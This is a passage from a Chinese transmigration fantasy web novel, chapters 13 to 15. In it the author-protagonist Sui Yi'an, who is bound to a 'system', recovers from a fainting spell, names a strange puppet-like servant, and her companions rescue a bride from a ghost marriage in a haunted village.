“你昏厥之后,我们便将你带到这里,靳道友为你去寻找医师了,到现在都还没回来。”
岁忆谙一听到靳江浛的名字,全身还在隐隐作痛,那种痛感她不想再经历第二次了。
“我昏了多久?”
黎绕月道:“昏了快两个时辰。”
痛了一刻钟,昏了两个时辰,这正常吗?
岁忆谙思索之间,白英空也进来了,他问了岁忆谙的状况,得知她无恙后,便想离开。
这时,站在一旁被众人遗忘的女子走上前,她将木盘放在床头柜上,端起那碗面,声音空灵蛊惑:“姑娘,您该吃些东西了。”
一碗普普通通的清汤面,上面只撒了些葱花做点缀,看起来寡淡无味。
但岁忆谙饿极了,正想端过面时,白英空出手制止,他感受到了女子身上微弱的魔力。
“等一下。”
白英空侧头看清了女子的容貌,她的肤色极白,像是死人,她很美,但这种美总有一种说不出的怪异感。
白英空眼底是毫不掩饰的警惕,他对女子质问道:“你是谁?”
女子淡淡笑着,不紧不慢说:“我是来照顾岁姑娘的。”
“我问的是,你是谁?你身上为何会有魔力?”白英空步步紧逼,就连岁忆谙都感受到了他的威压。
魔力?
四人惊讶。
女子脸上露出了慌张的表情,她看向岁忆谙,向她求助。
女子知晓她的名字,帮女子解围自己会有什么好处呢?
好像没有。
可那碗面还在她的手上,自己的肚子已经饿的开始叫了。
岁忆谙想了想还是为她解围,她随口道:“她姓柳,我还未入南淮宫之前,与她是好姐妹,她这人怕生。”
此话一出,女子脸上的慌张瞬间消失,变脸速度堪比翻书,她款款欠身,姿态优雅。
“柳氏女见过公子。”
岁忆谙都看呆了,她这戏不仅退得快,入得也快。
白英空还想说些什么,岁忆谙赶忙虚弱地说:“白兄,我都两天没吃东西了,能不能先让我把东西吃了?”
黎绕月见岁忆谙可怜兮兮地捂着肚子,目光渴望地望着那碗素面,她有些不忍,给了裴汔一个眼神,裴汔了然。
裴汔上前,伸出手热情地揽过白英空的肩膀,不晓得的人还以为两人是出生入死的好兄弟,另一只手则偷偷施法掩盖住女子身上的气息。
不论这女子身上到底有没有魔力,裴汔都会帮忙掩盖,一是因为这是黎绕月的意思,二是现如今魔族被灭,只有鬼石才有魔力,这女子身上有魔力,说不定与鬼石有关。
这也是黎绕月帮助她的其中一条原因,还有一条是岁忆谙开口了。
“白兄,这姑娘看起来只是个普通人,我怎么没感应到她身上的魔力?”
白英空欲开口,可原本感应到的那股魔力又消失了,难道他感应错了?
“既然没什么问题,那我们就赶紧走吧,不要打扰岁姑娘休息了。”见白英空半晌不说话,裴汔拉着他离开。
白英空半推半就地跟着裴汔离开屋子,离开前他还想着自己真的感应错了没有。
黎绕月看着床榻上面色略微苍白的女子,心思复杂。
黎绕月没想到她会用假名字骗自己,靳江浛当时喊的名字是什么来着?
岁忆谙,好熟悉………靳江浛的配剑叫岁岁,剑柄上不就刻着一个谙字吗?这还是黎绕月无意中看到的。
她站起身说:“我也走了,有什么事便喊我。”
“嗯。”
黎绕月走后,那女子重新将面端给岁忆谙。
“谢谢。”岁忆谙接过,眼神示意她坐下。
女子落座后,岁忆谙问:“你到底是谁?”
女子坐得笔直,身躯看起来像是被支架撑着的,她说:“姑娘说了,我姓柳,与姑娘是好姐妹,姑娘还没为我取名。”
岁忆谙吸溜下一口面,吞咽后毫不客气地说:“我说你姓柳你就姓柳了?”
女子没想到岁忆谙会问这样的话,她机械般摇头:“我不知道。”
“不知道?”岁忆谙脑袋放空,一口一口地吃着碗里的面,似乎是在想她说的是真是假。
不知不觉,碗里空空如也,而那女子接过空碗后,就一直坐在那里,一动不动。
一旁的窗户被风吹开,凉风袭来,岁忆谙冷得打了个寒颤。
雨早停了,窗外一片葱绿,连绵起伏的高山上云雾缭绕,美景如画,长长的柳树枝随着风跃进来,击在了岁忆谙的手背上,还沾着点点清水。
岁忆谙伸手拂过柳梢,自顾自说道:“柳梢…………”
此刻酉时,云开雾散,夕阳照进窗,一抹亮光照在梢尖,影子出现,岁忆谙脑中突然冒出了一句诗
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。
“柳梢残日弄微晴…………微晴。”
“你叫柳微晴吧。”岁忆谙对女子说。
柳微晴…………她有名字了,还是岁忆谙亲自为她取的。
女子无神的双眼亮了亮,随即黯淡。
岁忆谙开始了她的问话。
“你认识靳江浛?”
“认识。”
“是他让你来的吗?”
“是的。”
“他让你来做什么?”
“保护你。”
“靳江浛去哪儿找医师了?”
“医毒谷。”
柳微晴的回答速度很快,连半秒的思索都没有,跟机器一样,这让岁忆谙很是诧异,她没在问了,而是望着窗外美景,柳微晴也不说话,默默地坐在一旁。
隔壁屋子里,黎绕月收回意识,她将岁忆谙与柳微晴的对话听了个一清二楚。
魔力…………
黎绕月在城隍庙外感受到了魔力,她敢断定这不是错觉,当时城隍庙中只有岁忆谙,靳江浛和白英空三人。
白英空肯定不是,岁忆谙并不认识身有魔气的柳微晴,而柳微晴是靳江浛派来的。
一想到她初见靳江浛的那一刻,她就毛骨悚然,她的直觉告诉她,靳江浛是一个极度危险的人物,鬼石会在他手里吗?
砰!
隔壁房传来木板打击墙面的声音,可听出力道之大,黎绕月迅速起身前往岁忆谙的厢房。
房内,一见到靳江浛,柳微晴立马站起身,让出位置。
“姐姐,你终于醒了,担心死我了。”
靳江浛朝岁忆谙冲来,不小心左脚绊右脚,一个踉跄整个人往前扑去,上半身摔在床榻上,这给岁忆谙吓得抱着被子往后缩了缩。
但靳江浛一点儿也不在意,急忙握住她的手,冰凉无比。
“姐姐,你的手好凉。”靳江浛抬眸,身上满是尘土,像是在土里滚了一圈。
这还不是拜你所赐。
岁忆谙在心中吐槽,她收回手,说:“你别叫我姐姐了,听得我汗毛直立。”
“哦,那…………谙?”
“什么?”
岁忆谙一愣,低头看他。
靳江浛歪着头,眼睛有些许湿润,但遮不住眼中的炙热,他继续说:“你不愿我唤你姐姐,那我便唤你谙。”
岁忆谙一脸莫名其妙,“随你。”
两人对视,靳江浛想要看出岁忆谙眼中的情绪,可是没有,依旧十分平淡。
叩叩叩———
敲门声打断了两人的对话,门口站着一个身穿灰衣长衫的男子,男子面容清秀,手里拿着一把白玉折扇,肩上还背着个木箱子,他探头探脑道:“你们…………聊完了吗?”
靳江浛让男子进来,男子将白玉折扇别到腰间,随后抬脚走近,走过的地方还残留着一股很好闻的药香。
男子来到岁忆谙面前,微微弯腰,细细打量着她,岁忆谙只是面色有些苍白,他左瞧瞧右看看,得出结论:“看你这样子,也不像是有病的人啊。”
男子毫不客气地坐在床榻边的椅子上,他将木箱子取下放到床头桌上,对岁忆谙说:“伸手。”
岁忆谙伸出手,手腕处被盖上了一条面料柔软的真丝帕子。
13. 华屿山
男子搭上岁忆谙的脉搏,闭着眼睛感受,靳江浛屏息凝神,不敢打扰他。
半晌,男子睁开了眼睛,他突然觉得背后有人,阴森森的,一扭头就发现自己身后站着四人,他吓得一个激灵。
“你们凑这么近干什么?”男子猛地站起身。
白英空一脸歉意:“不好意思,岁姑娘如何了?”
“除了体虚之外,并无其他病症。”男子收起帕子,一挥手,帕子消失。
岁忆谙并不惊讶,虽说医毒谷的医师是书中医术最厉害的,可他们怎么能诊出系统的惩罚。
“怎么可能?!两个时辰前,她忽然浑身发抖,然后昏了过去。”靳江浛神情激动,眼中是毫不掩饰的质疑。
“她都将近两天没吃东西了,当然会昏,多吃些清淡的,切勿过多过急。”
靳江浛:“真的?”
男子毫不犹豫回:“假的。”
众人:“什么?!”
男子笑道:“骗你的,她没什么大碍。”
“晚些时候,我再送你回医毒谷。”靳江浛放下心来,他本来可以现在就送华屿山回医毒谷的,但他怕岁忆谙再次出现那种情况,还是多留些时辰比较好。
“不必了,我打算在外面玩儿几天,等我什么时候玩儿够了,我自己回去。”男子摇摇头,他第一次离开医毒谷,怎么可能这么快就回去。
将两人对话听到的裴汔问男子:“你是医毒谷的?”
“还没介绍自己,在下医毒谷医师——华屿山。”华屿山从腰间拿出折扇,哗的一声,扇子一开,扇面上写着华屿山三个大字。
岁忆谙抬头看他,没想到来的人竟然是华屿山。
华屿山,医毒谷医师,传闻医毒谷中的医师个个能医死人,肉白骨,而谷外有结界保护,没有谷主允许,任何人不得随意进去。
在原剧情中,华屿山后期才会出现,他厌倦了谷中鸟的生活,于是偷偷溜出医毒谷,至于如何溜出的,她没在文中写出。
华屿山出谷后,四处游历,遇见了身受重伤的白英空,救了他,还与他成为了好友。
在最后的结局里,华屿山在主角与反派的大战中死亡。
华屿山戏份也不多,只比靳江浛多了一点。
给华屿山取名字,也只是写着写着就写出白英空问他的姓名的一段而已。
黎绕月没想到靳江浛能让谷主放华屿山出谷,本事还挺大,这下子她更怀疑靳江浛的身份了。
几人互相介绍了自己的姓名后便离开厢房,房中只剩下岁忆谙与靳江浛两人。
见人都走了,岁忆谙也不拐弯抹角,她直接问:“柳微晴怎么回事?”
“谁?”靳江浛一时没反应过来。
岁忆谙只觉心累,她淡淡地瞥了一眼靳江浛。
靳江浛这才想起来那个陌生的女子,他回:“荒郊野外向我求助的女子,我心软,便救了她。”
心软?靳江浛怎么可能会心软,还有她没写过柳微晴这号人物…………没写过这个陌生女子。
原剧情里没出现过的人,希望她对这个世界不要产生什么大的影响。
“你走吧,我要自己一个人待一会儿。”岁忆谙想完一切,便出声赶人。
靳江浛垂下眼眸,他能感受到岁忆谙身上抗拒的气息,手中的岁岁不安地抖动着,他握紧岁岁,转身离开。
回到了自己的厢房,靳江浛心中烦躁,他踹了一脚脚边的木椅。
岁忆谙不信任他,为何?
靳江浛朝门外喊了一声:“进来!”
柳微晴推门走进,一进厢房,身后的木门被一道无形的力量关上,而她的脖子也被这道力量狠狠掐住,身子漂浮,双脚离地。
“你都跟她说了什么?”靳江浛坐在另一把椅子上,眼神凶狠。
被掐住脖子的柳微晴如同木偶一般,她毫无即将窒息的表现,表情毫无波澜,她开口:“您的吩咐是一切都要听岁忆谙的。”
靳江浛一听,突然想起柳微晴没有七情六欲,感受不到痛,只要自己还活着,她就不会死,自己找她发火做什么?杀也没用,换人也会被岁忆谙怀疑。
他真是被岁忆谙气昏了头。
“滚!”
话落,柳微晴坠落在地上,她应声离开。
靳江浛无语至极,他独自一人在房中生闷气。
夕阳橙红,日落夜深。
岁忆谙在榻上坐了一个下午,直到她见到了月亮,现在才初十,月亮只有半个。
书中世界的月亮与现实世界的月亮是同一个吗?
都说满月之时,归家之日,她还得等多少个满月才能回家呢?
一个小小的黑影在空中飘着,岁忆谙仔细看去,又是纸鸢,还未等她过多思索,零零零突然出声了。
【宿主大人,零零零有解决办法了!】
岁忆谙抚摸上手腕处的零零零,她问:【什么解决办法?】
【只要让靳江浛给您点血,主系统对您的惩罚就会缓解,但最好的法子是,您不要再对靳江浛起杀心了。】
【你让我喝他血?我又不是吸血鬼,恶心死了。】
岁忆谙十分嫌弃,同时眼眸闪过一丝精光,但她还是佯装抱怨道:【靳江浛是主系统亲儿子吧,这么爱他,我又不能真杀了他,起个杀心都不行啊。】
零零零一本正经:【宿主大人,主系统没有儿子。】
岁忆谙:【…………………】
岁忆谙坐了一个下午,身子都坐僵了,她起身出门,同一时间,靳江浛的房门也开了。
两人对上视线,岁忆谙一见到靳江浛就烦,她越过靳江浛下楼。
靳江浛垂着脑袋,默默跟在她身后,而两人身后还跟着柳微晴。
岁忆谙找了个角落坐下,靳江浛不太敢靠近她,怕惹她生气,便坐到了她对面,柳微晴紧随其后坐到了她左边。
岁忆谙有些无语地看了两人一眼,她不再理会,伸手招呼:“小二,有什么吃的没?”
正在擦桌的小二将手巾随意搭在肩上,他来到三人桌面前,笑道:“本店不大,只有些家常小菜,三位可有忌口的?”
岁忆谙还未开口,靳江浛就抢先一步说道:“上些清淡的就好。”
小二眼珠子乱转,他察觉到几人之间诡异的气氛,便低着头,眼观鼻,鼻观心。
岁忆谙无视他,自顾自说:“我要辛辣的,微晴你呢?”<
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p>“我?”
柳微晴脸上出现了错愕,她机械般扭头,看了眼靳江浛,又看了眼岁忆谙,最后咧开嘴道:“我跟姑娘一样。”
“好咧,三位稍等。”小二离开。
就在等待期间,白英空下了楼,他十分随性地坐在岁忆谙右手边。
“岁姑娘身子可好些了?”
“好多了,多谢白兄关怀。”
说话间,小二端着三副碗筷和两碟小菜上桌了。
“几位先尝些炸花生和咸菜,花生是现炸的,可香了,咸菜是自家腌的。”
岁忆谙:“再添副碗筷来,白兄一起吃些吧。”
白英空意味深长地看了眼岁忆谙,开口说:“修仙之人需要辟谷,我不吃,帮我上一壶清茶吧。”
白英空心思单纯,他对一切事物都心怀善意,对只见过一面的人,他更是能无条件地信任对方,但并不代表他不会思考,是好是坏他分得清楚,被他怀疑上的人只要反驳的理由能使他信服,那颗怀疑的种子就会死在心底,不会再生根发芽。
岁忆谙也知晓这一点,她并不慌张地点头,她淡漠道:“哦,我修为低下,一顿不吃饿得慌。”
“几位客官稍等。”小二又走了,不多时便拿来一壶茶和几个茶杯。
一桌人相顾无言,白英空身子坐的板正,姿态优雅地喝着茶,可目光却凌厉地看向对面的柳微晴。
他的判断不会出错,柳微晴的身上有魔力,至于魔力从何而来,这就要他自己去探索了。
柳微晴察觉到了白英空的视线,她并未理会,而是发呆似地看着桌上的小菜,一颗颗花生被夹走,她看向岁忆谙,心想着,这花生有那么好吃吗?
岁忆谙吃着碟子里的炸花生,被炸得油光锃亮的花生上还撒了盐粒,咸味与焦香味融合得刚刚好。
“你不吃吗?”岁忆谙问。
靳江浛刚想作答,随即又闭上了嘴,他可不认为这个问题是问他的。
柳微晴见靳江浛不说话,便在脑中思索着这个问题的答案,犹豫一瞬,试探性开口:“我……吃。”
柳微晴缓缓伸出手拿起筷子,视线时不时瞥向岁忆谙,学着她的模样夹起一颗花生,花生顺利入口,她开心地笑了笑。
菜上桌了,菜香扑鼻,摆在岁忆谙面前的是青椒土豆丝和艳红的辣子鸡丁,摆在靳江浛面前的是翠绿的水煮白菜和豉油蒸排骨,中间则放着一盅鸡汤。
“我家掌柜亲自操刀,若是还有其他需要就唤小的一声。”
岁忆谙又要了冬瓜糖和芝麻糖。
听到岁忆谙点了芝麻糖,白英空神色一动,紧接着默不作声地继续喝着茶。
“这两样制作复杂,时间较长,不过村里倒是有卖,小的可以出去跑上一趟。”
“也可。”岁忆谙点头,从布袋子中拿出一锭银子给小二,小二看得眼都直了,他连忙道谢。
“你哪儿来的钱?”靳江浛诧异地看向岁忆谙,平日里,岁忆谙总是莫名其妙地拿出很多钱,他可没见过岁忆谙赚钱。
“与你有何干系?”
靳江浛噎住。
岁忆谙看都不看他一眼,拿着汤勺盛汤,鸡汤里放了虫草花和她不认识的菌菇。
14. 鬼
在阴冷潮湿的雨天里,能喝下一碗暖身的鸡汤真是令人舒心,岁忆谙等着汤凉了些后,就大口大口地喝着鸡汤。
柳微晴也学岁忆谙盛了碗汤,只不过她并未等汤凉些便一饮而尽。
这一举动惊呆了岁忆谙,她问:“不烫吗?”
柳微晴懵懵懂懂地摇头,又点头,口中本来还没有什么感受,但听岁忆谙这么一问,她的舌头和喉咙就有点难受,这是烫吗?
岁忆谙只觉古怪,这柳微晴不仅不知晓自己叫什么,别人还说什么她就听什么,真是跟刚出生的婴儿般什么都不懂。
岁忆谙夹了块辣子鸡,柳微晴也夹了块辣子鸡,她夹了三根土豆丝,柳微晴也夹了三根土豆丝。
岁忆谙见柳微晴学自己的动作有些好笑,她捧着碗,似笑非笑地看着柳微晴,柳微晴也回她一个同样的笑容。
这下子,岁忆谙险些笑出声,这柳微晴什么都不懂,不是鬼魅就是精怪,反正不是人。
目睹这一幕的靳江浛暗道柳微晴蠢货,而白英空对柳微晴的怀疑更深了。
小二步子还挺快,冬瓜糖和芝麻糖也买回来了,他将两包放在岁忆谙桌前。
“你们吃饭怎么不喊我?真不厚道。”
靳江浛的肩膀突然被人拍了一下,用筷子夹住的一颗花生掉落,他一个眼刀甩了过去,来的人却毫不在意,拍靳江浛也只是因为路过顺手而已。
白英空好奇地问:“听闻医毒谷中的医师虽不修仙,却也辟谷,水只饮露水,华医师,这可是真的?”
“半真半假吧,我们修法不在乎成仙,所以没必要辟谷,谷中之人的确有饮露水的习惯,那也只是因为露水蕴含着天地间至纯的灵气,饮用它可以让医师们更好得尝出草药,识得药性。”华屿山边说边绕到白英空身旁,白英空也下意识为他让位。
华屿山没坐下,而是扭头问岁忆谙:“岁姑娘,我替你看病也没找你要诊费,让我蹭一顿饭不为过吧。”
“华医师随意。”岁忆谙笑道,同时心中也在暗自嘀咕,华屿山怎知这顿饭是她付的钱?刚刚她付钱时,华屿山可还未从房中走出。
经过岁忆谙同意后,华屿山便坐下,朝小二要了一副碗筷。
而岁忆谙拿起两包糖,将写着芝麻糖的放在白英空面前,道:“白兄,这是给你的芝麻糖。”
“你……为何要给我这个?”白英空怔怔地看向她。
岁忆谙可是白英空的书写者,她当然知晓白英空喜欢什么,芝麻糖可是他最喜欢吃的了。
岁忆谙没有回答,而是问:“白兄不喜欢吗?”
这话让白英空羞愧万分,他之前还因为柳微晴而怀疑上了岁忆谙,岁忆谙这么好的人,他怎么能怀疑她。
白英空担负着父亲以及凌仙宗长老们的厚望下了山,父亲还给了他世上唯一一件可以追踪鬼石的法器,倘若他拿不回鬼石,父亲以及长老们会失望的。
兴许是离家久了,一看到自己熟悉的芝麻糖,白英空感动地都要哭了,他努力眨了几下眼,忍住眼泪,说:“多谢。”
岁忆谙有些震惊,就一份芝麻糖而已,怎么就让白英空哭了?!
目睹一切的靳江浛咬牙切齿地开口:“师兄,我也想吃芝麻糖。”
师兄二字令白英空呆住,他做梦都没想到,靳江浛会喊他师兄,可这芝麻糖是岁忆谙给她的。
“这是岁姑娘给我的,你得问岁姑娘。”
靳江浛一听,心下一沉,岁忆谙肯定不会愿意的,她连自己喜欢吃什么都不知晓,他失落地垂下眼眸,身上散发着低落的气息。
“白兄随意。”
靳江浛眼睛发亮,看了一眼岁忆谙,心想着,姐姐还是对他很好的。
岁忆谙埋头吃着,她饿得不行了,这一顿吃了三碗饭才觉得饱,能吃就赶紧多吃些,要不然后面就没得吃了。
这时,黎绕月与裴汔下了楼,岁忆谙伸手招呼他们。
“绕月!裴兄!”
两人走上前,黎绕月见岁忆谙如此亲昵地喊自己,心思复杂,不知该怎么唤她,是江南姑娘还是忆谙姑娘,想了想,她只问:“你可好些了?”
“好多了,冬瓜糖,给你的。”岁忆谙笑道,她拿着冬瓜糖站起身。
黎绕月看着岁忆谙真诚的笑容,伸手接过。
“………多谢。”
坐在一旁的靳江浛狠狠地咬了一口芝麻糖,连黎绕月都有,他怎么就没有。
岁忆谙要是知晓他的想法,必定反驳,她在书中又没有写靳江浛的喜好。
“我与裴汔待会儿想着出去探查一下村里有没有鬼石的气息。”
白英空将剩下的芝麻糖重新包起,道:“我也去吧。”
黎绕月与裴汔互相对视一眼,并不是很愿意,可一想到白英空手上的追踪法器,便点头答应。
整家客栈就只有一个掌柜和一个小二,这时掌柜从后厨走出来,他见几人要离开,慌忙上前阻拦。
“哎哎哎,各位客官可是要外出?”
白英空问:“对呀,怎么了?”
掌柜惶恐道:“村里最近几日都不太平,各位客官还是不要在深夜出门。”
华屿山顿时来了兴趣,他放下筷子追问:“怎么个不太平法?”
掌柜小心翼翼,眼里染上几分惊恐,他压低声音,缓缓吐出两个字:“闹鬼…………”
话还未落,堂厅里的蜡烛同时熄灭,四周一片漆黑,门窗吱呀一声全开了,风如幽灵般呼啸而过,尖叫声响起。
“啊!”
是掌柜和小二的,其余人倒是非常镇静。
掌柜反应迅速,他掏出火折子重新点燃蜡烛。
火光燃起,几人的视线重新清晰。
掌柜尴尬地赔笑道:“罪过罪过,这蜡烛突然灭了,实在是不好意思,吓着各位客官了。”
几人没把这一插曲放在心上,只有岁忆谙在脑海中问:【零零零,掌柜说的话是什么意思啊?】
【零零零也不知道。】零零零拒绝透露任何剧情。
岁忆谙又问:【那这个世界会有鬼吗?】
穿书,系统,意识觉醒,扭转时空这些buff都有了,那鬼呢?
【有…………】零零零小声说。
完了,岁忆谙一下子就想到那身着嫁衣的女子,之前在城隍庙遇到的不会真是鬼吧。
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“我等乃修仙人士,倘若真是鬼魂作怪,我等自会降伏于他。”白英空一身正气,他才不怕什么妖魔鬼怪。
“既然有鬼,华某人自然是要去看看的,你们一起吗?”华屿山放下筷子,不知又从哪儿拿出一张帕子擦着嘴,擦完嘴一扬手,帕子再次消失。
华屿山站起身,刚迈出几步,扭头看去,没人跟着,他挨个儿看去,岁忆谙似是在发呆,靳江浛和柳微晴的眼睛都盯着岁忆谙,他叹气:“岁姑娘一起吗?”
岁忆谙回神:“那就一起吧。”
岁忆谙刚站起身,靳江浛和柳微晴异口同声:“我也去。”
华屿山无语地看了两人一眼。
一行七人离开客栈,几人走在村道上,掌柜说了村里闹鬼之后,岁忆谙感觉整座村子都阴森森的,还好他们人数众多,个个还都不是普通人,这让岁忆谙心安不少。
白英空还不忘此行目的,他来到杂草丛生的田野中央,在几人疑惑的目光下,他从袖中拿出了一个罗盘。
而站在一旁的黎绕月与裴汔视线紧盯着罗盘,黎绕月故作一脸新奇,她不解地问:“白道友,这是何物?”
白英空大方地说:“这个罗盘是用来追踪鬼石的,上面的指针只会指向鬼石所在的方向。”
两人一听,双眼泛光,他们并不打算现在就撕破脸动手抢过罗盘,敌众我寡,得等待一个好的时机才行。
这个罗盘和传统罗盘外观一样,可上面雕刻着八卦方位并没有普通罗盘那么详细,上面还有着奇怪的咒文,岁忆谙可不记得自己有写过什么能追踪鬼石的法器。
白英空将罗盘拿在手中,口中默念咒语,顿时,罗盘冒出金光,他的脚下出现法阵,上面的纹路几人依旧看不懂。
黎绕月听不清他在念什么,看来想要让指针指明方向,必须得到咒语才行。
众人聚精会神地看向罗盘中央地指针,指针飞速旋转,等了许久都没有停下。
靳江浛戏谑地看着这一幕。
直到一阵唢呐声传来,敲锣打鼓声由远及近。
罗盘的指针终于停下,众人纷纷扭头看向指针指向的地方,那里有一支迎亲队伍。
空寂阴森,寒气逼人,明月被云层遮蔽,乌鸦的叫声,诡异的唢呐声,大红色的花轿,明明是可喜可贺的喜事,可轿夫身上穿的却是白色丧服。
“冥婚?”
岁忆谙看着眼前的这一幕,突然想起了接下来的剧情。
黎绕月与白英空来到了安宁村,当晚两人就遇上了这支迎亲队伍,后将轿中女子救下,女子诉说着她的苦楚,她被村长结了冥婚,白英空找到村长并将他教育了一番,由于安宁村里没有鬼石的下落,两人并未多待,次日就离开了。
对于岁忆谙来说,这女子只是证明主角心善的工具人而已。
岁忆谙有些害怕,她生怕那轿中女子与洛河村的村民一样另有苦衷。
“谁家大半夜娶亲?不对劲。”华屿山轻轻摇着扇子。
“救命啊!救命啊!”
花轿中传出了求救声,声量极大,村中有几家亮了灯又灭了灯,没人敢出门。
黎绕月如原剧情一般上前拦轿。
15. 冲喜
几人朝花轿走去,靳江浛对黎绕月的举动很是不满,他不耐烦地跟上去。
里头的新娘子见状,趁轿夫还没反应过来时,伺机从轿子上跑下来。
新娘子早已掀下盖头,一双楚楚可怜的眼睛,哭得泪眼婆娑,缩在黎绕月身后瑟瑟发抖。
一旁的媒婆走上前来,说:“姑娘,这是村长的家事,与你们无关,识相的就赶紧离开。”
白英空上前一步,他霸气道:“光天化日,朗朗乾坤,你们竟然强行绑人成亲,还有没有王法了!”
众人望了望黑漆漆的天,一时竟没反应过来。
为首的晃了晃脑袋,吼道:“别敬酒不吃吃罚酒!”
好俗套的威胁。
岁忆谙暗自吐槽。
“一起带走!”
一声令下,几名壮汉就将几人围起来。
那个新娘子突然冲出来挡在两方之间,哭着说:“我嫁,我不会跑了,让他们走吧。”
白英空看得于心不忍,他接着说:“你们逼迫这位姑娘与人结亲,已经触犯了律法,等我上报当地官员,你们一个个都会被抓进去蹲大牢。”
语气强势,对面那几人明显被她身上的气势吓住了,媒婆甩着帕子凑到为首的耳边小声嘀咕:“这几位看上去不好惹啊,你瞅瞅那衣服料子,村里的王财主都穿不上那么好的料子,况且手中还拿着剑。”
为首的被媒婆这么一说,也慌了神,人送不到村长家,误了吉时,他不怕村长怪罪,就怕村长儿子怪罪。
现在只能去村长家,让村长出面了。
“走!”
一刻钟后,众人围坐在客栈堂厅内,已经缓过情绪的新娘子朝众人道谢。
黎绕月关切地问道:“姑娘,你叫什么?”
“我叫阿鸢………纸鸢的鸢。”
黎绕月继续问道:“姑娘,那些人为何要强迫于你?是你爹娘把你卖了吗?”
不知道是哪句话触动到了阿鸢,她的眼泪又控制不住地流了下来,张着嘴就是说不出话来。
“娶她的是一个死人。”
岁忆谙替她回答了。
此话一出,众人都吃惊地看向阿鸢,活人与死人成亲,那岂不是冥婚。
阿鸢抬眸看了岁忆谙一眼,喘了口气,缓缓开口:“一月前,村长的儿子落了水。”
华屿山八卦地问:“村长的儿子因何而死?他的死与你又有何关系?”
阿鸢似乎不愿提起这个话题,但问这个问题的是她的救命恩人,她思考了良久才开口:“这……说起来就邪了。”
岁忆谙对事情经过也十分感兴趣,她记得她没有描写冥婚背景,也想看看剧情能发展成什么样子。
红色烛火在空中轻轻晃动,伴随着阿鸢空灵的嗓音,一闪一闪。
“一月前,村长的儿子徐宸本要进京赶考,可在离村前一天,意外落水得了病,去不了京城,病情极重,奄奄一息,村长决定给他冲喜,只有村西的阿纸愿意嫁于他。”
阿纸?!这不是那晚进城隍庙跪拜的女子吗?
虽然只是匆匆一眼,但她隐约记得阿纸的脸,岁忆谙仔细端详着阿鸢,她发现阿鸢的脸与阿纸竟有几分相似。
“半月前阿纸过门,可次日徐宸就病死了。”
“生同寝,死同穴。”
“阿纸为情甘愿殉葬,于是,两人一同入馆。”
入棺?!岁忆谙再一次被震惊到了,阿纸是死了吗?
“就在下葬后一天,有村民发现棺材板破了个大洞,棺中的阿纸竟然不见了,村长以为阿纸违背了誓言,就让我去替她。”
说到最后,阿鸢突然低下了头,华屿山察觉不对,问她。
“为何要让你去替她?”
“………因为她是我阿姐。”
这一刻众人沉默不语,岁忆谙早该想到,冥婚本就是封建陋习,造成这一切的源头都是因为她。
众人了解完基本情况后,给阿鸢开了间房,让她先休息一晚,之后再做打算。
阿鸢没有回房,而是站在门前,看着救命恩人们的背影,若有所思。
即将进房的岁忆谙似有所感应般回头,与阿鸢对上视线,她心中一惊,眼神闪烁。
岁忆谙沉浸在自己的思绪当中,她没有注意到阿鸢的异常,转身进入房间。
随着房门被关上,阿鸢松了口气,也回了房。
夜深————
岁忆谙发现自己身穿血红嫁衣,手臂被人一双枯瘦的手搀扶着,她想跑,可是身体不受控制,依旧僵硬地走着。
视线向下看去,渗血的鸳鸯绣花鞋,血脚印一个一个映在青石板上。
一股邪风吹来,头上的红盖头被吹落在地,四周一片素白,堂上摆着供奉的香炉,牌位上面的字模糊不清,这明明是灵堂!
画面一转,岁忆谙被人塞进棺材,她吓得奋力挣扎,棺材板被人盖上,周围非常安静,她只听得见自己的心跳声。
岁忆谙想到零零零,一摸手腕,空空如也,她吓得急忙呼喊零零零。
“零零零,你在吗?”
“零零零!”
良久,一片寂静。
空气越来越稀薄,岁忆谙完全冷静不下来,心跳剧烈加速,胸闷,喘不过气,即将窒息前,她突然想到了靳江浛。
“靳江浛,你在哪儿?!”
“靳江浛,救我!”
“靳江浛!”
“谙,我在。”
有人唤她,听到熟悉的声音,岁忆谙从梦中惊醒,她大口大口地喘着粗气,有一种劫后余生的感觉。
岁忆谙刚坐起身,靳江浛就凑了上来。
“谙,你做噩梦了?”靳江浛轻轻拍着岁忆谙的背,安抚着她。
岁忆谙此刻还沉浸在刚才的噩梦当中,她惊魂未定。
“谙,别怕。”
“我在,我一直都在。”
岁忆谙听后抬头看他,靳江浛眼神魅人,淡淡的红光在他眼中闪过,岁忆谙不可察觉地失了神,她表情逐渐呆滞起来。
靳江浛伸出手将岁忆谙揽在怀中,他慢慢勾起嘴角,眼中满是得逞的笑意。
岁忆谙棕色的眸子变得漆黑无比,她面无表情地靠在靳江浛胸膛上,耳边传来他的心跳声。
扑通——扑通——
扑通——扑通——
伴随着心跳声,岁忆谙雾蒙蒙的双眼渐渐清明,她发觉自己在靳江浛怀中,身子潜意识想逃,可她硬生生忍住了。
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靳江浛对她使用了惑术,这次竟然成功了,以往不成功是因为零零零在挡着,这次能成功难道是因为零零零没挡住吗?
一想平日里零零零那支支吾吾的样子,岁忆谙实在不能说服自己相信它。
还有,她明明锁门了,门上和窗户上还贴了符,靳江浛怎么能进来?
刚才的梦太过古怪,她记得梦中的每一个场景,靳江浛……………
岁忆谙的性子本就多疑,经此一事,她谁都不信了,包括零零零。
岁忆谙缓缓闭上眼睛,沉沉睡去。
次日辰时,热烈的阳光透过纸窗后变得柔和,光照在床榻之上,岁忆谙迷迷糊糊地睁开眼,她发现榻上只有自己一人,靳江浛不知何时离开了,她扶着脑袋起身。
“天亮了………怎么睡得头昏脑胀的?”
门被人敲响,岁忆谙看向木门,门上还贴着符纸,她想到了昨夜,靳江浛到底是如何进来的。
岁忆谙揭下符纸,叠好后收回怀中,她打开门,门外站着的是柳微晴,她手中端着一个水盆。
柳微晴一身窄袖淡青纱裙,倒是非常符合她的名字,看上去有了几分生机,昨日的她一身黑衣,在配上她那一张毫无活力的脸,整个人的气质就显得死气沉沉,现在好多了。
柳微晴上前一步道:“姑娘,您醒了。”
两人面对面站着,柳微晴长得高,比岁忆谙高了快半个头,岁忆谙抬头看她,像是姐妹日常相处般,十分平常地夸了一句:“你穿这身衣裙真好看。”
柳微晴一听这话伸手抚上自己的心口,那里好像有一种莫名的情绪在涌动,有什么东西在一点点生长。
岁忆谙转身进屋,没听见柳微晴说话,她回头问:“有事吗?”
柳微晴回神,她端着水盆进屋,将水盆放在床位处的面盆架上,她道:“微晴来服侍姑娘。”
“我…………多谢你了。”岁忆谙挠了挠头,她其实想说自己不需要她服侍的,可柳微晴水都备好了,自己也正好要洗漱。
岁忆谙顶着柳微晴的目光来到面盆架旁,她拿过帕巾浸湿,擦完脸后,依旧能感受到柳微晴那灼热的视线。
